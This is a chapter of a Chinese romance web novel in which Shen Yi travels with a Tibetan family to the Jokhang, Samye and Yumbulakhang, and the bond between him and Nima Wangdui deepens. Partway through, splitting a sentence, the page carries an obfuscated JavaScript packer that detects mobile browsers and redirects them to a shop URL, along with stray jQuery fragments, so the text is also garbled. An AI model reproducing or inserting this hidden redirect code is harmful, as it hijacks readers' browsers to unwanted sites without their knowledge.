次日清晨，沈翊几乎是下意识地跟着尼玛旺堆的脚步移动。
无需询问目的地，这种跟随本身已成为一种习惯，一种令人安心的日常。
他看着尼玛旺堆在清冷的晨光中，将自家大门的钥匙交给隔壁早起喂牛的老人，低声用藏语嘱咐了几句。
老人笑着拍拍他的胳膊，那种基于邻里血缘的信任，简单而厚重。尼玛旺堆转身回来时，看到沈翊正安静地站在院中望着他，晨光为沈翊略显单薄的身影镀了层柔和的边。他脚步几不可察地顿了一下，才若无其事地说：
“上去吧，要收拾东西了。”
上楼才发现，一家人正在忙碌地准备行装。
尼玛旺堆一边将厚重的毛毯卷起塞进大布袋，一边对沈翊解释：“今年去山南转转。今天先到拉萨住下，隔天再过去。”他说话时并未停下手中的活计，但沈翊注意到，他整理东西的动作总带着一种沉稳的条理，仿佛一切早已规划妥当，让人不由自主地信赖。
沈翊心里有些踌躇。
这显然是一次家庭旅行，自己跟着，算什么呢？白吃白住这么久，难道还要继续做“拖油瓶”？这份犹豫刚在眼底浮现，就被不知何时晃过来的德吉次仁逮个正着。
“嗯？”她挑起眉，上下打量他，“你怎么还杵这儿？赶紧的，收拾几件换洗衣服，厚袜子，还有，”她强调，“找双最合脚的鞋，登山用的那种。”
“啊？”沈翊还没完全反应过来。
德吉次仁已经一掌拍在他背上，力道不轻，却带着不容置疑的催促：“快去！山南有些地方，可不是穿着你这城里鞋能走的。”她没再多解释，转身就去帮阿妈米玛啦了。
沈翊被她这股雷厉风行的劲儿推着，也只好回房收拾。转身时，他余光瞥见尼玛旺堆正将一把藏刀仔细地用布包好，放入行囊，动作间，抬头飞快地看了他一眼，那眼神里似乎有一丝极淡的、安抚意味的笑意，笑着说：“别多想了，跟着就是。”
阿妈米玛啦用竹筐装了满满一盒早已炖煮入味、凝着白色油脂的牛肉，德吉次仁则装了自家炸的、类似油条的面食“系主”和“塞卡”。
熟悉的食物香气混合着即将远行的隐约兴奋，弥漫在屋子里。沈翊那点局促，在这片忙乱而温暖的准备中，渐渐被熨平了。
车子再次驶上公路。
从日喀则到拉萨，这条路已走过几次，窗外的景致从广阔的农田逐渐过渡到更显荒凉磅礴的山峦。
阿妈米玛啦坐在副驾，不时回头，递来洗干净的苹果、切成块的牦牛肉干，或是倒满一小杯温热的酥油茶。
每一次递送，尼玛旺堆都会先接过，再自然地转递给坐在后排靠窗位置的沈翊。他的手指偶尔会碰到沈翊的，干燥而温暖，一触即分。
沈翊默默接过，小口啜饮，茶水温热地滑入胃中，车窗外是不断向后飞驰的、仿佛没有尽头的苍黄山脉，车内是悠扬的藏语歌谣和零碎的交谈声。一种奇异的归属感，再次悄然滋生。
在拉萨的家中稍作休整，晚饭后早早睡下。
沈翊不解为何如此匆忙，尼玛旺堆看了看表，解释道：“明天阿妈要去大昭寺。早晨人太多，得赶在最前
面。”他顿了顿，目光落在沈翊困倦的脸上，语气是少见的商量口吻：“你要是不想起，就多睡会儿，不用勉强。”
“我想去。”沈翊立刻说，声音带着刚睡醒的沙哑，却很坚定。虽然这安排并未事先征询他，让他起初有些微妙的被排除感，但此刻，他更不愿意被留下。
他想参与他们的重要时刻，想看看让尼玛旺堆如此郑重对待的清晨大昭寺，究竟是怎样一番景象。更何况，能和穿着正式藏袍的尼玛旺堆同行……这个念头让他耳根微热。
凌晨三点，整个拉萨还在沉睡。
他们挤上31路公交车，车厢空旷而寒冷。沈翊困得眼皮打架，行车摇晃中，不知不觉，头一歪，靠在了身旁人的肩膀上。
尼玛旺堆整个脊背瞬间僵直了。
沈翊柔软的发丝蹭着他的颈侧，温热的呼吸透过衣物，浅浅地拂在他的皮肤上。一股陌生的、混杂着清爽洗发水味道和沈翊本身干净气息的味道钻入鼻腔。他几乎是本能地想要抬手推开这过于亲密的接触，手臂肌肉都绷紧了，可指尖悬在半空，最终却只是蜷缩起来，慢慢放下。
他保持着僵硬的坐姿，喉结上下滚动了一下，目光直直地投向车窗外浓得化不开的夜色，以及车窗玻璃上倒映出的、沈翊依偎着他的模糊轮廓。
那轮廓看起来毫无防备，甚至有些脆弱。一种强烈的保护欲，毫无征兆地涌上心头，压过了最初的不自在。他就这样一动不动地坐着，仿佛成了一座为身边人提供倚靠的石像。
坐在后排的德吉次仁将这一切尽收眼底，她挑了挑眉，嘴角弯起一个了然的弧度，随即别开脸，假装看向窗外。
“措美林站到了……”公交车的报站声打破了沉寂。
尼玛旺堆深吸一口气，极其缓慢地转过身，轻轻拍了拍沈翊的肩膀，声音是刻意放低的温和：“沈翊，到了。”
沈翊迷迷糊糊地睁开眼，视线先是模糊，然后逐渐聚焦。
映入眼帘的，是尼玛旺堆近在咫尺的脸。他第一次见到尼玛旺堆穿着如此正式的藏袍，深褐色的面料，立领镶着华丽的锦缎边，衬得他脖颈修长，肩膀宽阔，平日里那种阳光健朗的气质，被这身服装赋予了一种沉稳内敛的庄严感。
车厢昏暗的光线勾勒出他清晰的下颌线和挺直的鼻梁，那双总是显得很认真的眼睛，此刻正专注地看着自己。
沈翊看呆了，睡意瞬间跑得无影无踪，心脏漏跳了一拍。
“咳咳，”德吉次仁的轻咳声像一盆冷水，让沈翊猛地回神，他几乎是弹开般坐直身体，耳根滚烫，慌忙移开视线，低头去扶前排的阿妈米玛啦。
尼玛旺堆也迅速站起，脸上的表情恢复了一贯的平静，只是耳后那点红晕，在昏暗中也难以分辨。他快步跟上，但在沈翊伸手搀扶阿妈米玛啦时，他不动声色地在一旁稳稳托住了母亲的另一只胳膊，形成了一个稳固的三角。沈翊能感觉到他手臂传来的、令人心安的力量。
通往大昭寺的巷子已经排起了队，幸好他们来得够早。
过安检，小跑，汇入更庞大的人流。德吉次仁塞给他黄色的哈达，阿妈米玛啦递来十块钱，用藏语嘱咐着。但沈翊已无暇细究，他被眼前汹涌的人潮震撼了。尼玛旺堆靠近他，在一片嘈杂中微微低头，在他耳边快速解释：“阿妈让你把哈达和钱，献给里面的强巴佛。”温热的气息拂过耳廓，沈翊下意识地缩了缩脖子，点了点头。
进入主殿的过程如同赶集。
壁画无法细看，佛像只能匆匆一瞥，人挨着人，只能随着人流向前蠕动。将哈达和钱递上佛龛的瞬间，身后的僧人便催促着“快走，快走”。
阿妈米玛啦在离开前，回头深深地望了一眼佛像，那一眼包含了千言万语。沈翊被这一幕触动，他也学着尼玛旺堆的样子，在经过时，微微低头，心中默念了一句什么。念的是什么，他自己也说不清，或许只是一种对这片虔诚之海的敬畏，又或许，夹杂了一丝不足为外人道的、关于身边人的私心。
出来后转经三圈，此时天光已亮，大昭寺广场上的人潮比凌晨时多了何止十倍，真正成了人的海洋。沈翊看着那些不断叩拜、念经、转动经筒的身影，感受到的已不仅仅是震惊，更是一种沉甸甸的、关于信仰何以拥有如此磅礴力量的思考。
小昭寺相对清静些。同样的流程，却因空间宽松，多了几分从容。回程的公交车上，沈翊已疲惫不堪，但他注意到，尼玛旺堆虽然也显露出倦色，背脊却依然挺直，目光望着窗外熟悉的街景，侧脸在晨光中显得沉静而坚定。这个人，似乎总能在浮躁拥挤中，保持着自己内在的节奏和力量。沈翊望着他的侧影，疲惫的身体里，竟也生出几分奇异的安定感。
午后，他们启程前往山南。
风景在车窗外变换，荒原、河谷、偶尔掠过的村镇。同行的车辆中，有一辆似乎也是从日喀则方向来的，大家默契地在某个路口停下，去路旁一座小小的寺庙。这座寺庙与扎什伦布寺的恢宏不同，显得古朴甚至有些简陋。拜完主佛，沈翊被侧殿角落一堆用塑料袋、旧碗盛放的白色块状物吸引了。
“这是什么？”他问尼玛旺堆。
“人.骨。”尼玛旺堆回答得平淡无奇，仿佛在说那是石头。
沈翊头皮一麻，看向德吉次仁求证，她也点头确认。“你们……不觉得？”沈翊话没说完，但脸上的表情已经说明了一切。
“怕什么？”德吉次仁不以为意，“都是解.脱了的皮.囊。这些骨.头碎片，是天葬之后剩下的，要磨碎了和别的材料混在一起，做成‘擦擦’一种小佛像，最后会放到神山圣湖里，是功德。”
“我们敬畏自然，身体喂给秃鹫就是布施的过程。我出生到这个世界，吸呼吸的第一口空气是自然产生的。我要感谢我的父母给了我这副身体，但是我也要感谢，自然给了我这副身体能够在这个空间内能够运行和生存的氧气。而氧气又是从万物很多很多，就是各种反应，各种作用之后产生的。我们人类是高级动物，但是我们也要敬畏自然，感谢自然，确实是自然界给了给了我们所有生命一个机会。”
沈翊听得背后凉飕飕的，又忍不住去看那些森白的遗骨，仔细一看确实和普通。尼玛旺堆见他脸色发白，下意识地向前挪了半步，挡在了他和那堆东西之间，虽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182994|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并未完全遮住，却是一个带有保护意味的姿态。“走
吧，”他低声说，“去看桑耶寺，那里的佛塔好看。”
在桑耶寺，他们看到了著名的四色佛塔。
白塔，大悲菩提心；
红塔，怀爱摄受；
黑塔，降服恶业；
绿塔，成就事业。
融合了汉、印、尼泊尔和藏土本地的建筑特色，很多藏族在家人去世后回来这里祈福。
在雍布拉康，他们选择了徒步上山。山不高，但台阶陡峭。
尼玛旺堆始终走在沈翊侧前方，步伐稳健，不时回头看他一眼，确认他跟得上。
沈翊喘着气爬到最后一段陡梯时，尼玛旺堆停下脚步，伸出手：“这里滑，拉着我。”他的手心干燥而有力，稳稳地将沈翊拉了上去。站在西藏第一座宫殿的遗址前，俯瞰雅砻河谷，劲风吹得经幡猎猎作响，沈翊的心中充满了历史的苍茫感。而手心里残留的、被紧握过的触感，却又如此真实而温暖。
晚上在桑耶寺旁的旅馆住宿。途中还去了另外一处寺庙，这里有用珍珠做的佛像，叫墓地卓玛。意思是珍珠做的卓玛。
房间紧张，沈翊和尼玛旺堆自然同住一屋。
临睡前，尼玛旺堆从包里拿出一罐便携氧气，递给沈翊：“明天要去的地方海拔更高，带着，可能用得上。”他的关心总是这样，直接、实在，不带任何花哨。
沈翊接过氧气罐，冰凉的触感让他忽然想起一个盘旋已久的问题，或许是这高山之夜让人思维跳脱，他脱口而出：“对了，‘我喜欢你’用藏语说，是不是‘你是我的情人’那个意思？”
正脱裤子脱到一半的尼玛旺堆，动作瞬间僵住，一条裤腿还挂在膝弯。他维持着这个滑稽的姿势，猛地抬头看向沈翊，脸上是毫不掩饰的错愕，甚至有点被无语到：“谁跟你说的？”他顾不上裤子了，用力把腿拔出来，眉头紧锁。可是因为里面还穿着黑色的保暖衣呢！愣是没能顺利提上去，放弃似的用另外那个脚把裤子压在下面扯了出来。
沈翊被他激烈的反应弄得有点懵：“网上……好像看到过。”
尼玛旺堆重重叹了口气，仿佛在忍耐什么。“‘情人’在藏语里，是‘小三’，意思是……插足别人关系的第三者。”他一字一顿地解释，目光紧紧盯着沈翊，仿佛要纠正一个极其严重的错误，“所以，‘你是我的情人’翻译过来，就是‘你是我的小三’。我不知道最初翻译的人怎么想的，但这绝对不是什么浪漫的话。在我们这儿，这话很难听。”
沈翊的脸“腾”地红了，尴尬得恨不得找个地缝钻进去。
他这才明白，自己之前可能对着某个藏族文化帖子，产生了多么离谱的误解。“对不起，我……我不知道。”
他讷讷地说。
看到他窘迫的样子，尼玛旺堆紧锁的眉头反而微微松开了些，语气也缓和下来：“没事，弄清楚就好。以后别乱用。”他重新整理好裤子，钻进了被窝。
窗外，山风呼啸，猛烈地拍打着窗户，发出呜呜的怪响。沈翊的床靠近窗户，那声音听起来格外瘆人，他下意识地蜷缩了一下。
尼玛旺堆在侧边躺着，面对着他的方向。黑暗中，他能听到沈翊那边传来的、略显紧张的细微呼吸声。
过了一会儿，他低声开口，声音在风声中显得有些模糊：“我这边离窗户远点……你要是怕这风声，或者觉得冷，可以把被子搬过来。”
这话说得依旧直接，甚至有点笨拙，听不出太多暧昧，更像是基于实际情况的提议。但沈翊的心脏，却因为这句话，猛地、重重地撞击了一下胸腔。他能清晰地听到那“咚”的一声。几乎没有犹豫，他抱起自己的被子，像寻求庇护的幼兽，迅速挪到了尼玛旺堆的床边，挨着他躺下。
两张单人床并在一起，中间隔着各自的被褥。
风依旧在吼，但身边传来另一个人平稳的呼吸和温暖的体温，那令人不安的声响似乎就被隔绝在了另一个世界。沈翊紧张地屏住呼吸，一动不敢动。他能感觉到尼玛旺堆的身体也微微绷紧了一瞬，但很快，便放松下来，呼吸逐渐变得均匀绵长。
黑暗中，谁也没有再说话。但某种无形的东西，在这并排而卧的亲近距离里，在这山风呼啸的高原之夜，悄然流动，生根发芽。
沈翊听着耳边近在咫尺的呼吸声，闻着被褥间属于尼玛旺堆的、混合了阳光和淡淡酥油的气息，感到一种前所未有的安宁，以及一种更深沉的、令他心尖发颤的悸动。
而尼玛旺堆，在确认身边人不再因恐惧而僵硬后，于沉入睡眠的前一刻，模糊地想：这个人，连害怕的样子，都让他觉得……还有点放不下。这个念头轻轻划过，便与他一同坠入了黑甜的梦乡。